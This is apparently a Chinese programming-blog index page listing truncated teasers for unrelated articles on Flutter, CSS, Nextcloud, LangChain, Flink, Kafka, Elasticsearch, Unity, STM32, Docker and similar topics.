Android Studio 安装Flutter插件但是没法创建项目 如果你在Android Studio已经安装了Dart、Flutter插件&#xff0c;但是不能创建Flutter项目。 原因是因为Android Studio的版本更新&#xff0c;Android APK Support这个插件没被选中。 一旦勾选这个插件之后&#xff0c;就能…...

新春快乐(烟花、春联)【附源码】

新春快乐 一&#xff1a; C语言 -- 烟花二&#xff1a;Python -- 春联三&#xff1a;Python -- 烟花四&#xff1a;HTML -- 烟花 一&#xff1a; C语言 – 烟花 运行效果&#xff1a; #include <graphics.h> #include <math.h> #include <time.h> #include…...

nextcloud 优化扩展

cd /config vi config.php #ONLYOFFICE allow_local_remote_servers > true, #应用商店加速 appstoreenabled > true, appstoreurl > https://www.orcy.net/ncapps/v2/, #nginx配置调优 add_header Strict-Transport-Security max-age15552000; add…...

【CSS】css如何实现字体大小小于12px?

【CSS】css如何实现字体大小小于12px? 问题解决方案transform: scale(0.5)&#xff08;常用&#xff09;SVG 矢量图设置text 问题 文字需要显示为12px&#xff0c;但是小于12px的&#xff0c;浏览器是显示不来的 解决方案 transform: scale(0.5)&#xff08;常用&#xff0…...

【Langchain+Streamlit】旅游聊天机器人

【LangchainStreamlit】打造一个旅游问答AI-CSDN博客 项目线上地址&#xff0c;无需openai秘钥可直接体验&#xff1a;http://101.33.225.241:8502/ github地址&#xff1a;GitHub - jerry1900/langchain_chatbot: langchainstreamlit打造的一个有memory的旅游聊天机器人&…...

〖大前端 - ES6篇②〗- let和const

说明&#xff1a;该文属于 大前端全栈架构白宝书专栏&#xff0c;目前阶段免费&#xff0c;如需要项目实战或者是体系化资源&#xff0c;文末名片加V&#xff01;作者&#xff1a;哈哥撩编程&#xff0c;十余年工作经验, 从事过全栈研发、产品经理等工作&#xff0c;目前在公司…...

JAVA设计模式之代理模式详解

代理模式 1 代理模式介绍 在软件开发中,由于一些原因,客户端不想或不能直接访问一个对象,此时可以通过一个称为"代理"的第三者来实现间接访问.该方案对应的设计模式被称为代理模式. 代理模式(Proxy Design Pattern ) 原始定义是&#xff1a;让你能够提供对象的替代…...

vivo发布2023 年度科技创新;阿里全新AI代理,可模拟人类操作手机

vivo 发布 2023 年度十大产品技术创新 近日&#xff0c;vivo 发布了「2023 年度科技创新」十大产品技术创新榜单&#xff0c;并将这些技术分为了 4 个板块。 「四大蓝科技」为 vivo 在去年推出的全新技术品牌&#xff0c;涵盖蓝晶芯片技术栈、蓝海续航系统、蓝心大模型、蓝河操…...

【制作100个unity游戏之23】实现类似七日杀、森林一样的生存游戏15(附项目源码)

本节最终效果演示 文章目录 本节最终效果演示系列目录前言实现树倒下的效果拾取圆木砍树消耗卡路里斧头手臂穿模问题处理源码完结 系列目录 前言 欢迎来到【制作100个Unity游戏】系列&#xff01;本系列将引导您一步步学习如何使用Unity开发各种类型的游戏。在这第23篇中&…...

python巧用定理判断素数

目录 判断一个数n是否是素数 求一个数的素因数个数 求大于等于指定数的最小素数 在数论中有三个非常重要的关于素数的定理 1、任何数都可以表示成若干个素数的乘积 2、任意数的素因子一个大于根号n的自然数&#xff0c;另一个与其对应的因子则必小于根号n。 3、除了2和3以…...

2023年总结

人们总说时间会改变一切&#xff0c;但事实上你得自己来。 今年开始给自己的时间读书、工作、生活都加上一个2.0的release版本号&#xff0c;相比过去的一年还是有很多进步的。 就跟git commit一样&#xff0c;一步一步提交优化&#xff0c;年底了发个版本。用李笑来的话说&am…...

Git中为常用指令配置别名

目录 1 前言 2 具体操作 2.1 创建.bashrc文件 2.2 添加指令 2.3 使其生效 2.4 测试 1 前言 在Git中有一些常用指令比较长&#xff0c;当我们直接输入&#xff0c;不仅费时费力&#xff0c;还容易出错。这时候&#xff0c;如果能给其取个简短的别名&#xff0c;那么事情就…...

STM32内部Flash

目录 一、内部Flash简介 二、内部Flash构成 1. 主存储器 2. 系统存储区 3. 选项字节 三、内部Flash写入过程 1. 解锁 2. 页擦除 3. 写入数据 四、工程空间分布 某工程的ROM存储器分布映像&#xff1a; 1. 程序ROM的加载与执行空间 2. ROM空间分布表 一、内部Flash…...

html5 audio video

DOMException: play() failed because the user didn‘t interact with the document first.-CSDN博客 不可用&#xff1a; 可用&#xff1a; Google Chrome Close AutoUpdate-CSDN博客...

LoveWall v2.0Pro社区型校园表白墙源码

校园表白墙&#xff0c;一个接近于社区类型的表白墙&#xff0c;LoveWall。 源码特色&#xff1b; 点赞&#xff0c; 发评论&#xff0c; 发弹幕&#xff0c; 多校区&#xff0c; 分享页&#xff0c; 涉及违禁物等名词进行检测&#xff01; 安装教程: 环境要求&#xff1b;…...

Flink cdc3.0动态变更表结构——源码解析

文章目录 前言源码解析1. 接收schema变更事件2. 发起schema变更请求3. schema变更请求具体处理4. 广播刷新事件并阻塞5. 处理FlushEvent6. 修改sink端schema 结尾 前言 上一篇Flink cdc3.0同步实例 介绍了最新的一些功能和问题&#xff0c;本篇来看下新功能之一的动态变更表结…...

WWW 2024 | 时间序列(Time Series)和时空数据(Spatial-Temporal)论文总结

WWW 2024已经放榜&#xff0c;本次会议共提交了2008篇文章&#xff0c;research tracks共录用约400多篇论文&#xff0c;录用率为20.2%。本次会议将于2024年5月13日-17日在新加坡举办。 本文总结了WWW 2024有关时间序列&#xff08;Time Series&#xff09;和时空数据&#xf…...

代码随想录算法——数组

目录 1、二分查找法 2、移除元素 3、有序数组的平方 4、长度最小的子数组 5、螺旋矩阵II 1、二分查找法 给定一个 n 个元素有序的&#xff08;升序&#xff09;整型数组 nums 和一个目标值 target &#xff0c;写一个函数搜索 nums 中的 target&#xff0c;如果目标值存在…...

Linux第45步_通过搭建“DNS服务器”学习图形化配置工具

学习的意义&#xff1a;通过搭建“DNS服务器”&#xff0c;来学习“图形化配置工具”。“DNS服务器”&#xff0c;我们用不到&#xff0c;但为后期移植linux系统服务&#xff0c;因为在移植系统时&#xff0c;需要用到这个“图形化配置工具”。 1、“menuconfig图形化配置工具…...

【Linux取经路】探寻shell的实现原理

文章目录 一、打印命令行提示符二、读取键盘输入的指令三、指令切割四、普通命令的执行五、内建指令执行5.1 cd指令5.2 export指令5.3 echo指令 六、结语 一、打印命令行提示符 const char* getusername() // 获取用户名 {return getenv("USER"); }const char* geth…...

【MATLAB】使用随机森林在回归预测任务中进行特征选择(深度学习的数据集处理)

1.随机森林在神经网络的应用 当使用随机森林进行特征选择时&#xff0c;算法能够为每个特征提供一个重要性得分&#xff0c;从而帮助识别对目标变量预测最具影响力的特征。这有助于简化模型并提高其泛化能力&#xff0c;减少过拟合的风险&#xff0c;并且可以加快模型训练和推理…...

2024Node.js零基础教程(小白友好型),nodejs新手到高手,(六)NodeJS入门——http模块

047_http模块_获取请求行和请求头 hello&#xff0c;大家好&#xff0c;那第二节我们来介绍一下如何在这个服务当中来提取 HTT 请求报文的相关内容。首先先说一下关于报文的提取的方法&#xff0c;我在这个文档当中都已经记录好了&#xff0c;方便大家后续做一个快速的查阅。 …...

【数据结构与算法】(5)基础数据结构之队列 链表实现、环形数组实现详细代码示例讲解

目录 2.4 队列1) 概述2) 链表实现3) 环形数组实现 2.4 队列 1) 概述 计算机科学中&#xff0c;queue 是以顺序的方式维护的一组数据集合&#xff0c;在一端添加数据&#xff0c;从另一端移除数据。习惯来说&#xff0c;添加的一端称为尾&#xff0c;移除的一端称为头&#xf…...

(注解配置AOP)学习Spring的第十七天

基于注解配置的AOP 来看注解式开发 : 先把目标与通知放到Spring里管理 : Service("userService") public class UserServiceImpl implements UserService {Overridepublic void show1() {System.out.println("show1......");}Overridepublic void show2…...

[C++] opencv + qt 创建带滚动条的图像显示窗口代替imshow

在OpenCV中&#xff0c;imshow函数默认情况下是不支持滚动条的。如果想要显示滚动条&#xff0c;可以考虑使用其他库或方法来进行实现。 一种方法是使用Qt库&#xff0c;使用该库可以创建一个带有滚动条的窗口&#xff0c;并在其中显示图像。具体步骤如下&#xff1a; 1&…...

C#用Array类的Reverse方法反转数组中元素

目录 一、Array.Reverse 方法 1.重载 2.Reverse(Array, Int32, Int32) 3. Reverse(Array) 4.Reverse(T[]) 5. Reverse(T[], Int32, Int32) 二、实例 1.Array.Reverse 方法4种重载方法综合实例 2.Reverse(Array)方法的实例 一、Array.Reverse 方法 反转一维 Array 或部…...

iOS AlDente 1.0自动防过充, 拯救电池健康度

经常玩iOS的朋友可能遇到过长时间过充导致的电池鼓包及健康度下降问题。MacOS上同样会出现该问题&#xff0c;笔者用了4年的MBP上周刚拿去修了&#xff0c;就是因为长期不拔电源的充电&#xff0c;开始还是电量一半的时候不接电源会黑屏无法开机&#xff0c;最后连着电源都无法…...

春晚刘谦魔术——约瑟夫环

昨晚&#xff0c;刘谦在春晚上表演了一个魔术&#xff0c;通过对四张撕成两半的纸牌连续操作&#xff0c;最终实现了纸牌的配对。 这个魔术虽然原理不是很难&#xff0c;但是通过刘谦精湛的表演还是让这个魔术产生了不错的效果&#xff08;虽然我感觉小尼的效果更不错&#xff…...

itextpdf使用:使用PdfReader添加图片水印

gitee参考代码地址&#xff1a;https://gitee.com/wangtianwen1996/cento-practice/tree/master/src/test/java/com/xiaobai/itextpdf 参考文章&#xff1a;https://www.cnblogs.com/wuxu/p/17371780.html 1、生成带有文字的图片 使用java.awt包的相关类生成带文字的图片&…...

如何为Kafka加上账号密码(二)

认证策略SASL/PLAIN 上篇文章中我们讲解了Kafka认证方式和基础概念&#xff0c;并比较了不同方式的使用场景。 我们在《2024年了&#xff0c;如何更好的搭建Kafka集群&#xff1f;》中集群统一使用PLAINTEXT通信。Kafka通常是在内网使用&#xff0c;但也有特殊的使用场景需要…...

【大数据】Flink on YARN,如何确定 TaskManager 数

Flink on YARN&#xff0c;如何确定 TaskManager 数 1.问题2.并行度&#xff08;Parallelism&#xff09;3.任务槽&#xff08;Task Slot&#xff09;4.确定 TaskManager 数 1.问题 在 Flink 1.5 Release Notes 中&#xff0c;有这样一段话&#xff0c;直接上截图。 这说明从 …...

ES节点故障的容错方案

ES节点故障的容错方案 1. es启动加载逻辑1.1 segment和translg组成和分析1.2 es节点启动流程1.3 es集群的初始化和启动过程 2. master高可用2.1 选主逻辑2.1.1 过滤选主的节点列表2.1.2 Bully算法2.1.2 类Raft协议2.1.3 元数据合并 2.2 HA切换 3. 分片高可用3.1 集群分片汇报3.…...

【Flink】FlinkSQL实现数据从Kafka到MySQL

简介 未来Flink通用化,代码可能就会转换为sql进行执行,大数据开发工程师研发Flink会基于各个公司的大数据平台或者通用的大数据平台,去提交FlinkSQL实现任务,学习Flinksql势在必行。 本博客在sql-client中模拟大数据平台的sql编辑器执行FlinkSQL,使用Flink实现数据从Kafka传…...

Unity GC

本文由 简悦 SimpRead 转码&#xff0c; 原文地址 mp.weixin.qq.com 简略版本 在 Unity 中&#xff0c;垃圾回收&#xff08;Garbage Collection&#xff0c;GC&#xff09;采用的是基于标记-清除&#xff08;Mark and Sweep&#xff09;算法的自动内存管理机制。 基于标记-清…...

Vue源码系列讲解——变化侦测篇【下】(Array的变化侦测)

目录 1. 前言 2. 在哪里收集依赖 3. 使Array型数据可观测 3.1 思路分析 3.2 数组方法拦截器 3.3 使用拦截器 4. 再谈依赖收集 4.1 把依赖收集到哪里 4.2 如何收集依赖 4.3 如何通知依赖 5. 深度侦测 6. 数组新增元素的侦测 7. 不足之处 8. 总结 1. 前言 上一篇文…...

【机器学习笔记】贝叶斯学习

贝叶斯学习 文章目录 贝叶斯学习1 贝叶斯学习背景2 贝叶斯定理3 最大后验假设MAP(Max A Posterior)4 极大似然假设ML(Maximum Likelihood)5 朴素贝叶斯NB6 最小描述长度MDL 1 贝叶斯学习背景 试图发现两件事情的关系&#xff08;因果关系&#xff0c;先决条件&结论&#x…...

ElasticSearch之倒排索引

写在前面 本文看下es的倒排索引相关内容。 1&#xff1a;正排索引和倒排索引 正排索引就是通过文档id找文档内容&#xff0c;而倒排索引就是通过文档内容找文档id&#xff0c;如下图&#xff1a; 2&#xff1a;倒排索引原理 假定我们有如下的数据&#xff1a; 为了建立倒…...

win11安装mysql8.3.0压缩包版 240206

mysql社区版安装包版windows安装包下载地址 在系统环境变量path无点.的情况下 powershell 可以 .\ 或 ./ 开头表示当前文件夹cmd 可以直接命令或.\开头, 不能./开头 所以 .\ 在cmd和powershell中通用 步骤 在解压目录 .\mysqld --initialize-insecure root无密码初始化.\m…...

数据库索引与优化:深入了解索引的种类、使用与优化

数据库索引与优化&#xff1a;深入了解索引的种类、使用与优化 索引的种类 数据库索引是提高查询速度的重要手段之一&#xff0c;主要分为以下几种类型&#xff1a; 主键索引&#xff08;Primary Key Index&#xff09;&#xff1a; 唯一标识表中的每一行数据&#xff0c;保…...

React 错误边界组件 react-error-boundary 源码解析

文章目录 捕获错误 hook创建错误边界组件 Provider定义错误边界组件定义边界组件状态捕捉错误渲染备份组件重置组件通过 useHook 控制边界组件 捕获错误 hook getDerivedStateFromError 返回值会作为组件的 state 用于展示错误时的内容 componentDidCatch 创建错误边界组件 P…...

分享66个相册特效,总有一款适合您

分享66个相册特效&#xff0c;总有一款适合您 66个相册特效下载链接&#xff1a;https://pan.baidu.com/s/1jqctaho4sL_iGSNExhWB6A?pwd8888 提取码&#xff1a;8888 Python采集代码下载链接&#xff1a;采集代码.zip - 蓝奏云 学习知识费力气&#xff0c;收集整理更不…...

chagpt的原理详解

GPT&#xff08;Generative Pre-trained Transformer&#xff09;是一种基于Transformer架构的生成式预训练模型。GPT-3是其中的第三代&#xff0c;由OpenAI开发。下面是GPT的基本原理&#xff1a; Transformer架构&#xff1a; GPT基于Transformer架构&#xff0c;该架构由Att…...

dockerfile 详细讲解

当编写 Dockerfile 时&#xff0c;你需要考虑你的应用程序所需的环境和依赖项&#xff0c;并将其描述为一系列指令。下面是一个简单的示例&#xff0c;演示如何编写一个用于部署基于 Node.js 的网站的 Dockerfile&#xff1a; Dockerfile # 使用官方 Node.js 镜像作为基础镜像…...